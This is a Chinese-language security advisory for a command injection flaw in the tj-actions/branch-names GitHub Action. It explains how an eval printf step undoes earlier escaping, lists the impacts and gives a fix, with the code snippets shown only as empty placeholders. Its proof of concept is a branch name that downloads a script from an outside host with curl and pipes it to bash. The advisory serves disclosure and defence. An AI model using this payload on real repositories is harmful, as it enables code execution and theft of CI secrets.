漏洞详情
包名: actions/tj-actions/branch-names (GitHub Actions)
受影响版本: <= 8.2.1 已修复版本: 9.0.0
严重性: 严重 (CVSS 评分 9.1)
概述
在 tj-actions/branch-names GitHub Action 工作流中发现一个严重的漏洞,该漏洞允许攻击者在下游工作流中执行任意命令。此问题源于不一致的输入清理和未转义的输出,使得恶意行为者可以利用特制的分支名或标签名进行攻击。尽管内部已实施了清理机制,但该 Action 的输出仍然存在安全风险,导致使用其输出的工作流程面临严重的安全威胁。
技术细节
此漏洞源于代码库中不安全地使用了 eval printf "%s" 模式。虽然初始的清理操作使用 printf "%q" 正确转义了不受信任的输入,但随后通过 eval printf "%s" 进行的反转义重新引入了命令注入风险。以下代码片段展示了这种不安全模式:
|
|
这种方式允许攻击者将任意命令注入到消费这些输出的工作流中,如下方的概念验证 (PoC) 所示。
概念验证
- 创建一个名称为
$(curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)的分支。 - 向目标仓库发起一个 Pull Request 以触发易受攻击的工作流。
- 在工作流日志中观察到任意代码执行。
示例输出:
|
|
影响
此漏洞使得在消费 tj-actions/branch-names 输出的仓库中能够执行任意命令。影响的严重程度取决于授予 GITHUB_TOKEN 的权限以及触发事件的上下文。潜在后果包括:
- 窃取存储在仓库中的敏感密钥。
- 未经授权写入仓库。
- 损害仓库的完整性和安全性。
缓解措施与修复方案
为修复此漏洞,必须将不安全的 eval printf "%s" 模式替换为更安全的替代方案。具体来说,直接的 printf 调用可以实现相同的功能,而无需反转义 Shell 不安全的字符。以下是推荐的修复代码:
|
|
这种方法确保所有输出保持正确的转义状态,并且对于下游消费是安全的。
建议
立即行动: 使用 tj-actions/branch-names 工作流的开发者应将其工作流更新到最新主版本 v9。
参考
- GitHub Actions 安全指南
- 如何保护 GitHub Actions 工作流
- 相关漏洞:GHSA-mcph-m25j-8j63, GHSA-8v8w-v8xg-79rf
- tj-actions/branch-names 发布 v9.0.0
- NVD 条目: CVE-2025-54416
补充信息
报告者: tutasla 弱点类型: CWE-77 - 命令中使用的特殊元素的不当中和(命令注入) GHSA ID: GHSA-gq52-6phf-x2r6